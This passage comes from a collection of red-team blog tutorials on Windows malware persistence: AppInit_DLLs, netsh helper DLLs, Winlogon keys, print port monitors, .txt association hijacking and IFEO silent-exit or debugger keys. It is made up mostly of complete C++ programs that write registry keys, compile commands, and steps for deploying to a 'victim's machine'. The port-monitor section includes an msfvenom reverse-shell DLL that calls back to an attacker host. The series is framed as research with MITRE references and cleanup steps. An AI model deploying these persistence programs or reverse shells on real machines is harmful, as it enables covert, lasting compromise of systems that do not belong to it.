windows low level persistense via Appinit_DLLs
author: @cocomelonc
https://cocomelonc.github.io/tutorial/

619
2022/05/16/malware-pers-5.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;
// malicious DLL
const char* dll = "Z:\\2022-05-16-malware-pers-5\\evil.dll";
// activation
DWORD act = 1;

// 32-bit and 64-bit


LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows",
0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry keys
RegSetValueEx(hkey, (LPCSTR)"LoadAppInit_DLLs",
0, REG_DWORD, (const BYTE*)&act, sizeof(act));
RegSetValueEx(hkey, (LPCSTR)"AppInit_DLLs",
0, REG_SZ, (unsigned char*)dll, strlen(dll));
RegCloseKey(hkey);
}

res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\
Windows",
0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry keys
RegSetValueEx(hkey, (LPCSTR)"LoadAppInit_DLLs",
0, REG_DWORD, (const BYTE*)&act, sizeof(act));
RegSetValueEx(hkey, (LPCSTR)"AppInit_DLLs",
0, REG_SZ, (unsigned char*)dll, strlen(dll));
RegCloseKey(hkey);
}
return 0;
}
As you can see, setting the registry key LoadAppInit_DLLs to value 1 is also important.
Let’s go to compile it:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \

620
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

demo
Let’s go to see everything in action! Drop all to victim’s machine (Windows 10 x64
in my case).
Then run as Administartor:
.\pers.exe
and:
reg query \
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" \
/s
reg query \
"HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\
Windows" /s
just check.

Then, for demonstration, open something like Paint or Notepad:

621
So, everything is worked perfectly :)

second example:
However, this method’s implementation may result in stability and performance difficul-
ties on the target system:

622
Furthermore, I think that the logic of the first DLL’s is considered very odd since multiple
message boxes popup, so when we act real-life action in red team scenarios: it’s very
noisy, for example for multiple reverse shell connections.
I tried updating little bit the logic of evil.dll:
/*
evil2.cpp
inject via Appinit_DLLs - only for `mspaint.exe`
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/05/16/malware-pers-5.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

char* subStr(char *str, char *substr) {


while (*str) {
char *Begin = str;
char *pattern = substr;
while (*str && *pattern && *str == *pattern) {
str++;
pattern++;
}
if (!*pattern)
return Begin;

623
str = Begin + 1;
}
return NULL;
}

extern "C" {
__declspec(dllexport) BOOL WINAPI runMe(void) {
MessageBoxA(NULL, "Meow-meow!", "=^..^=", MB_OK);
return TRUE;
}
}

BOOL APIENTRY DllMain(HMODULE hModule,


DWORD nReason, LPVOID lpReserved) {
char path[MAX_PATH];
switch (nReason) {
case DLL_PROCESS_ATTACH:
GetModuleFileName(NULL, path, MAX_PATH);
if (subStr(path, (char *)"paint")) {
runMe();
}
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
As you can see, if the current process is paint (and is 32-bits) then, “inject” :)

624
Perfect! :)

For cleanup, after end of experiments:


reg add \
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" \
/v LoadAppInit_DLLs /d 0
reg add \
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" \
/v AppInit_DLLs /t REG_SZ /f

625
This technique is not new, but it is worth paying attention to it, in the wild, this trick
was often used by groups such as APT 39 and malwares as Ramsay.
MITRE ATT&CK: APPInit_DLLs
APT39
Ramsay
source code in github

626
72. malware development: persistence - part 6. Windows netsh
helper DLL. Simple C++ example.

This section is a next part of a series of articles on windows malware persistence tech-
niques and tricks.
Today I’ll wrote about the result of self-researching another persistence trick: Netsh
Helper DLL.

netsh
Netsh is a Windows utility that administrators can use to modify the host-based Win-
dows firewall and perform network configuration tasks. Through the use of DLL files,
Netsh functionality can be expanded.
This capability enables red teams to load arbitrary DLLs to achieve code execution
and therefore persistence using this tool. However, local administrator privileges are
required to implement this technique.

practical example
Let’s go to consider practical example. First of all create malicious DLL:
/*
evil.cpp
simple DLL for netsh
author: @cocomelonc

627
https://cocomelonc.github.io/tutorial/
2022/05/29/malware-pers-6.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

extern "C" __declspec(dllexport)


DWORD InitHelperDll(
DWORD dwNetshVersion, PVOID pReserved) {
MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
return 0;
}
Compile it:
x86_64-w64-mingw32-gcc -shared -o evil.dll evil.cpp -fpermissive

And transferred to the target victim’s machine.


Netsh interacts with other components of the operating system via dynamic-link library
(DLL) files. Each netsh helper DLL offers a comprehensive collection of features. The
functionality of Netsh can be expanded using DLL files:
reg query "HKLM\Software\Microsoft\NetSh" /s

628
Then, the add helper can be used to register the DLL with the netsh utility:
netsh
add helper Z:\2022-05-29-malware-pers-6\evil.dll

629
Everything is worked perfectly!
However, netsh is not scheduled to start automatically by default. Persistence on the
host is created by creating a registry key that executes the application during Windows
startup. This can be done immediately using the script below:
/*
pers.cpp
windows persistence via netsh helper DLL
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/05/29/malware-pers-6.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

// netsh
const char* netsh = "C:\\Windows\\SysWOW64\\netsh";

// startup
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0 , KEY_WRITE, &hkey);

630
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"hack",
0, REG_SZ, (unsigned char*)netsh, strlen(netsh));
RegCloseKey(hkey);
}
return 0;
}
As you can see it’s similar to script from my post about persistence via registry run keys
Check registry run keys:
reg query \
"HKLM\Software\Microsoft\Windows\CurrentVersion\Run" \
/s

Compile it:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

and run on victim’s machine:


.\pers.exe

631
When the add helper command is executed to load a DLL file, the following registry
key is created:

But there is a caveat. The PoC’s logic needs to be updated to create a new thread so
that netsh can still be used while the payload is running. However, when netsh ends, so
does your malicious logic.
So, let’s try. Create new DLL (evil2.cpp):
/*

632
evil2.cpp
simple DLL for netsh
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/05/29/malware-pers-6.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

DWORD WINAPI Meow(LPVOID lpParameter) {


MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
return 1;
}

extern "C" __declspec(dllexport)


DWORD InitHelperDll(
DWORD dwNetshVersion, PVOID pReserved) {
HANDLE hl = CreateThread(NULL, 0, Meow, NULL, 0, NULL);
CloseHandle(hl);
return 0;
}
Compile:
x86_64-w64-mingw32-gcc -shared -o evil2.dll evil2.cpp -fpermissive

and run steps again:


netsh
add helper Z:\2022-05-29-malware-pers-6\evil2.dll

633
As you can see, everything is ok, netsh can still be used. And we can check registry
key for correctness:
reg query "HKLM\Software\Microsoft\NetSh" /s

Because it is based on the exploitation of system features, this type of attack cannot be
easily mitigated with preventive controls.
netsh
MITRE ATT&CK: Netsh Helper DLL
source code on github

634
73. malware development: persistence - part 7. Winlogon. Simple
C++ example.

Today I’ll wrote about the result of self-researching another persistence trick: Winlogon
registry keys.

winlogon
The Winlogon process is responsible for user logon and logoff, startup and shutdown
and locking the screen. Authors of malware could alter the registry entries that the
Winlogon process uses to achieve persistence.
The following registry keys must be modified in order to implement this persistence
technique:
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
However, local administrator privileges are required to implement this technique.

practical example
First of all create our malicious application (hack.cpp):
/*
meow-meow messagebox
author: @cocomelonc
*/
#include <windows.h>

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE


hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {

635
MessageBoxA(NULL, "Meow-meow!","=^..^=", MB_OK);
return 0;
}
As you can see, it’s just a pop-up “meow” message as usually.
Let’s go to compile it:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

The generated hack.exe needs to be dropped into the victim’s machine.


Changes to the Shell registry key that include an malicious app will result in the
execution of both explorer.exe and hack.exe during Windows logon.
This can be done immediately using the script below:
/*
pers.cpp
windows persistence via winlogon keys
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/06/12/malware-pers-7.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

// shell
// const char* sh = "explorer.exe,
// Z:\\2022-06-12-malware-pers-7\\hack.exe";
const char* sh = "explorer.exe,hack.exe";

// startup
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
0 , KEY_WRITE, &hkey);

636
if (res == ERROR_SUCCESS) {
// create new registry key

// reg add
// "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
// NT\CurrentVersion\Winlogon"
// /v "Shell" /t REG_SZ /d "explorer.exe,..." /f
RegSetValueEx(hkey, (LPCSTR)"Shell", 0, REG_SZ,
(unsigned char*)sh, strlen(sh));
RegCloseKey(hkey);
}

return 0;
}
Also, similar for Userinit. If this registry key include an malicious app will result in
the execution of both userinit.exe and hack.exe during Windows logon:
/*
pers.cpp
windows persistence via winlogon keys
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/06/12/malware-pers-7.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

// userinit
const char* ui = "C:\\Windows\\System32\\userinit.exe,
Z:\\2022-06-12-malware-pers-7\\hack.exe";

// startup
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key

// reg add
// "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
// NT\CurrentVersion\Winlogon"
// /v "Shell" /t REG_SZ /d "explorer.exe,..." /f

637
RegSetValueEx(hkey, (LPCSTR)"Userinit", 0,
REG_SZ, (unsigned char*)ui, strlen(ui));
RegCloseKey(hkey);
}

return 0;
}
So, compile the program responsible for persistence:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

demo
And see everything in action. First of all, check registry keys:
req query \
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" \
/s

Copy malicious app to C:\Windows\System32\. And run:

638
.\pers.exe

Then, logout and login:

According to the logic of the our malicious program, “meow-meow” popped up:

639
Let’s check process properties via Process Hacker 2:

640
Then, cleanup:
reg add \
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon" \
/v "Shell" /t REG_SZ /d "explorer.exe" /f

641
What about another key Userinit.exe? Let’s check. Run:
.\pers.exe

Logout and login:

642
Then, for the purity of experiment, check properties of hack.exe in Process Hacker 2:

As you can see, parent process is winlogon.exe.


Cleanup:
reg add \
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows

643
NT\CurrentVersion\Winlogon" \
/v "Userinit" /t REG_SZ /d \
"C:\Windows\System32\userinit.exe" /f

As you can see in both cases, the malware will be executed during Windows authentica-
tion.
But there are interesting caveat. For example if we update registry key as following
logic:
/*
pers.cpp
windows persistence via winlogon keys
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/06/12/malware-pers-7.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

// shell
const char* sh = "explorer.exe,
Z:\\2022-06-12-malware-pers-7\\hack.exe";

644
// startup
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key

// reg add
// "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
// NT\CurrentVersion\Winlogon" /v
// "Shell" /t REG_SZ /d "explorer.exe,..." /f
RegSetValueEx(hkey, (LPCSTR)"Shell", 0,
REG_SZ, (unsigned char*)sh, strlen(sh));
RegCloseKey(hkey);
}

return 0;
}
That is, our malware is located along the path: Z:\...\hack.exe instead of
C:\Windows\System32\hack.exe.
Run:
.\pers.exe
req query "HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon" /s

645
And relogin:

Checking properties of hack.exe:

646
As you can see, parent process is Non-existent process. Parent will show as
Non-existent process since userinit.exe terminates itself.
There is one more note. Also, the Notify registry key is commonly present in older
operating systems (prior to Windows 7) and it points to a notification package DLL
file that manages Winlogon events. If you replace the DLL entries under this registry
key with any other DLL, Windows will execute it during logon.
What about mitigations? Limit user account privileges so that only authorized adminis-
trators can modify the Winlogon helper. Tools such as Sysinternals Autoruns may also
be used to detect system modifications that may be attempts at persistence, such as the
listing of current Winlogon helper values.
This persistence trick is used by Turla group and software like Gazer and Bazaar in the
wild.
MITRE ATT&CK - Boot or Logon Autostart Execution: Winlogon Helper DLL
Turla
Gazer backdoor
Bazaar
source code on Github

647
74. malware development: persistence - part 8. Port monitors.
Simple C++ example.

This post is the result of self-researching one of the interesting malware persistence
trick: Port monitors.

port monitors
Port Monitor refers to the Windows Print Spooler Service or spoolv.exe in this post.
When adding a printer port monitor, a user (or an attacker) is able to add an arbitrary
dll that serves as the “monitor”.
There are essentially two ways to add a port monitor, also known as your malicious DLL:
through the Registry for persistence or a custom Windows application (AddMonitor
function) for immediate dll execution.

adding monitor
Using the Win32 API, specifically the AddMonitor function of the Print Spooler API:
BOOL AddMonitor(
LPTSTR pName,
DWORD Level,
LPBYTE pMonitors
);
it is possible to add an arbitrary monitor DLL immediately while the system is running.
Note that you will need local administrator privileges to add the monitor.
For example, source code of our monitor:
/*
monitor.cpp

648
windows persistence via port monitors
register the monitor port
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/06/19/malware-pers-8.html
*/
#include "windows.h"
#pragma comment(lib, "winspool")

int main(int argc, char* argv[]) {


MONITOR_INFO_2 mi;
mi.pName = "Monitor";
mi.pEnvironment = "Windows x64";
// mi.pDLLName = "evil.dll";
mi.pDLLName = "evil2.dll";
AddMonitor(NULL, 2, (LPBYTE)&mi);
return 0;
}
Compile it:
x86_64-w64-mingw32-g++ -O2 monitor.cpp -o monitor.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive -lwinspool

Also, create our “evil” DLL:


msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.56.1 LPORT=4445 -f dll > evil2.dll

So, compiling the code will produce an executable (monitor.exe in my case) that will
register the malicious DLL (evil2.dll) on the system.

demo for add “monitor”


Copy files and run:

649
copy Z:\2022-06-19-malware-pers-8\evil2.dll .\
copy Z:\2022-06-19-malware-pers-8\monitor.exe .\
.\monitor.exe

registry persistence
A list of sub-key port monitors can be found within the
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
node. Each key should have a REG_SZ entry containing a Drivers DLL. At system
startup, each of these DLLs will be executed as SYSTEM.
First of all, before malicious actions, check sub keys:
reg query \
"HKLM\System\CurrentControlSet\Control\Print\Monitors" \
/s

650
Then, add sub key Meow and Driver value:
reg add \
"HKLM\System\CurrentControlSet\Control\Print\Monitors\Meow"
/v "Driver" /d "evil2.dll" /t REG_SZ
reg query \
"HKLM\System\CurrentControlSet\Control\Print\Monitors"
/s

As you can see, everything is completed correctly. Then restart victim’s machine:

651
And after a few minutes:

652
Let’s go to check Network tab in Process Hacker 2:

653
We can see that the evil2.dll is being accessed by the spoolsv.exe (PID: 4616),
which eventually spawns a rundll32 with our payload, that initiates a connection back
to the attacker:

For cleanup, after end of experiments, run:


Remove-ItemProperty -Path \
"HKLM:\System\CurrentControlSet\Control\Print\Monitors\
Meow" -Name "Driver"

654
My “dirty PoC” for registry persistence:
/*
pers.cpp
windows persistence via port monitors
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/06/19/malware-pers-8.html
*/
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

// subkey
const char* sk =
"\\System\\CurrentControlSet\\Control\\Print\\Monitors\\Meow";

// evil DLL
const char* evilDll = "evil.dll";

// startup
LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)sk, 0, NULL, REG_OPTION_NON_VOLATILE,
KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
if (res == ERROR_SUCCESS) {

655
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"Driver", 0, REG_SZ,
(unsigned char*)evilDll, strlen(evilDll));
RegCloseKey(hkey);
} else {
printf("failed to create new registry subkey :(");
return -1;
}
return 0;
}
During Defcon 22, Brady Bloxham demonstrated this persistence technique. This
method requires Administrator privileges and the DLL must be saved to disk.
The question remains whether any APTs uses this technique in the wild.
Windows Print Spooler Service
Defcon-22: Brady Bloxham - Getting Windows to Play with itself
MITRE ATT&CK - Port Monitors persistence technique
source code on Github

656
75. malware development: persistence - part 9. Default file exten-
sion hijacking. Simple C++ example.

This article is the result of my own research into one of the interesting malware persis-
tence trick: hijacking default file extension.

default file association


For example, when a .txt file is double-clicked, notepad.exe is used to open it.

657
Windows knows that it must use notepad.exe to access .txt files because the .txt
extension (and many others) are mapped to applications that can open such files in the
registry: HKEY_CLASSES_ROOT.
It is possible to hijacking a default file association to execute a malicious program.

practical example
Let’s go to hijack .txt. In this case, the .txt extension handler is specified in the
registry key listed below:
HKEY_CLASSES_ROOT\txtfile\shell\open\command
Run command:
reg query "HKCR\txtfile\shell\open\command" /s

658
Then, create our “malicious” application:
/*
hack.cpp
evil app for windows persistence via
hijacking default file extension
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/08/26/malware-pers-9.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,


LPSTR lpCmdLine, int nCmdShow) {
MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
return 0;
}
As you can see, the logic is pretty simple as usually: just pop-up meow-meow messagebox.
At the next step, hijack the .txt file extension by modifying the value data of
\HKEY_CLASSES_ROOT\txtfile\shell\open\command by this script:
/*
pers.cpp
windows persistence via
hijacking default file extension
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/08/26/malware-pers-9.html

659
*/
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

// command for replace


// "%SystemRoot%\\system32\\NOTEPAD.EXE %1"
// malicious app
const char* cmd = "Z:\\2022-08-26-malware-pers-9\\hack.exe";

// hijacking logic
LONG res = RegOpenKeyEx(HKEY_CLASSES_ROOT, (LPCSTR)
"\\txtfile\\shell\\open\\command", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// update key
RegSetValueEx(hkey, (LPCSTR)"", 0, REG_SZ, (unsigned char*)cmd,
strlen(cmd));
RegCloseKey(hkey);
}
return 0;
}
As you can see, in this source code we just replace %SystemRoot%\system32\NOTEPAD.EXE
%1 with Z:\2022-08-26-malware-pers-9\hack.exe.

demo
Let’s go to see everything in action. Compile our malware:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

The generated hack.exe needs to be dropped into the victim’s machine.


Then, compile the program responsible for persistence:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \

660
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

The generated pers.exe also needs to be dropped into the victim’s machine.
Then just run:
.\pers.exe

So, try to open .txt file, for example double-click test.txt:

661
As you can see, the “malware” will be executed. Perfect! :)
Then, cleanup:
reg add "HKEY_CLASSES_ROOT\txtfile\shell\open\command" /ve /t REG_SZ /d "%SystemRoot%\system

662
It would be good practice to do this (in real malware) with little bit different logic so that
the victim user will still be able to open the original .txt file, but he will additionally
run the malicious activity.
This persistence trick is used by SILENTTRINITY framework and Kimsuky cyber espi-
onage group. This malware was used in a 2019 campaign against Croatian government
agencies by unidentified cyber actors.
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
MITRE ATT&CK: Change Default File Association
SILENTTRINITY
Kimsuky
source code on Github

663
76. malware development: persistence - part 10. Using Image File
Execution Options. Simple C++ example.

This post is the result of my own research into one of the interesting malware persistence
trick: via Image File Execution Options.

Image File Execution Options


IFEO enables developers to attach a debugger to an application or process. This allows
the debugger/application to run concurrently with the application being debugged.
How to set this feature? We can launch a process/program when another application
silently exits.
Silent exit for an application means the application has been terminated in one of two
ways: 1. Self termination by calling ExitProcess 2. Another process terminates the
monitored process by calling TerminateProcess
This is configurable via the following registry key:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit

practical example
Let’s go to run our malware once Microsoft Paint (mspaint.exe) is silently exiting.
So, let’s say we have our “malware” (hack.cpp):
/*
hack.cpp
evil app for windows persistence via IFEO

664
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,


LPSTR lpCmdLine, int nCmdShow) {
MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
return 0;
}
As you can see, as usually, I use “meow-meow” message box “malware” =.. =
Then, create persistence script for modify registry (pers.cpp):
/*
pers.cpp
windows persistence via IFEO (GlobalFlag)
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;
DWORD gF = 512;
DWORD rM = 1;

// image file
const char* img = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image
File Execution Options\\mspaint.exe";

// silent exit
const char* silent = "SOFTWARE\\Microsoft\\Windows
NT\\CurrentVersion\\SilentProcessExit\\mspaint.exe";

// evil app
const char* exe = "Z:\\2022-09-10-malware-pers-10\\hack.exe";

// GlobalFlag
// LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\C
LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)img, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
if (res == ERROR_SUCCESS) {
// create new registry key

665
// reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
// Execution Options\mspaint.exe" /v GlobalFlag /t REG_DWORD /d 512
RegSetValueEx(hkey, (LPCSTR)"GlobalFlag", 0, REG_DWORD, (const BYTE*)&gF, sizeof(gF));
RegCloseKey(hkey);
}

// res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)


//"SOFTWARE\\Microsoft\\Windows
//NT\\CurrentVersion\\SilentProcessExit\\mspaint.exe", 0 , KEY_WRITE, &hkey);
res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)silent, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
if (res == ERROR_SUCCESS) {
// create new registry key
// reg add "HKLM\SOFTWARE\Microsoft\Windows
// NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t
// REG_DWORD /d 1
// reg add "HKLM\SOFTWARE\Microsoft\Windows
// NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d
// "Z:\..\hack.exe"
RegSetValueEx(hkey, (LPCSTR)"ReportingMode", 0, REG_DWORD,
(const BYTE*)&rM, sizeof(rM));
RegSetValueEx(hkey, (LPCSTR)"MonitorProcess", 0, REG_SZ,
(unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}

return 0;
}
So what have we done here? Firstly, we created SilentProcessExit key under
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion, then enabled silent
process exit monitoring feature by adding GlobalFlag:
//...

LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)img, 0, NULL,


REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);

//...
//...

// reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File


// Execution Options\mspaint.exe" /v GlobalFlag /t REG_DWORD /d 512
RegSetValueEx(hkey, (LPCSTR)"GlobalFlag", 0, REG_DWORD,
(const BYTE*)&gF, sizeof(gF));
//...

666
By setting MonitorProcess to ...\hack.exe and ReportingMode to 1, every silent
exit of mspaint.exe will now trigger the execution of our “malware” hack.exe:
//...

RegSetValueEx(hkey, (LPCSTR)"ReportingMode", 0, REG_DWORD,


(const BYTE*)&rM, sizeof(rM));
RegSetValueEx(hkey, (LPCSTR)"MonitorProcess", 0, REG_SZ, (unsigned char*)exe,
strlen(exe));

demo
Let’s go to see everything in action. Compile malware:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

Run it, just for check correctness:

So, check registry keys before:

667
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /

also SilentProcessExit:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit" /s

As you can see, as expected, some registry keys are missing for our target application.
So when it starts and closes nothing happens:

668
Well, now let’s compile:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

669
and run our script for persistence pers.exe, then check registry keys again:
.\pers.exe
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit" /s

Finally, run mspaint.exe again:

670
and close it:

671
The ReportingMode registry key enables the Windows Error Reporting process
(WerFault.exe) which will be the parent process of the MonitorProcess key value
hack.exe:

WerFault.exe - used for tracking errors related to operating system, Win-

672
dows features and applications.

IFEO debugger type


There are another implementation of IFEO via debugger key. Just create a debugger to
a victim process in this registry key:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\mspaint.exe
then only requires the malicious application to be stored in System32.
So source code is simple and looks like this:
/*
pers2.cpp
windows persistence via IFEO 2(Debugger)
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;
DWORD gF = 512;
DWORD rM = 1;

// image file
const char* img = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image
File Execution Options\\mspaint.exe";

// evil app
const char* exe = "hack.exe";

// Debugger
LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)img, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
if (res == ERROR_SUCCESS) {
// create new registry key
// reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
// Execution Options\mspaint.exe" /v Debugger /d "hack.exe"
RegSetValueEx(hkey, (LPCSTR)"Debugger", 0, REG_SZ, (unsigned char*)exe,
strlen(exe));
RegCloseKey(hkey);
}

return 0;

673
}
Let’s compile it:
x86_64-w64-mingw32-g++ -O2 pers2.cpp -o pers2.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

An example of how this appears in action:

674
675
When the Microsoft Paint process (mspaint.exe) is launched this will cause the mal-
ware to be executed. Perfect!
This persistence trick is used by APT29 group and software like SUNBURST in the

676
wild.
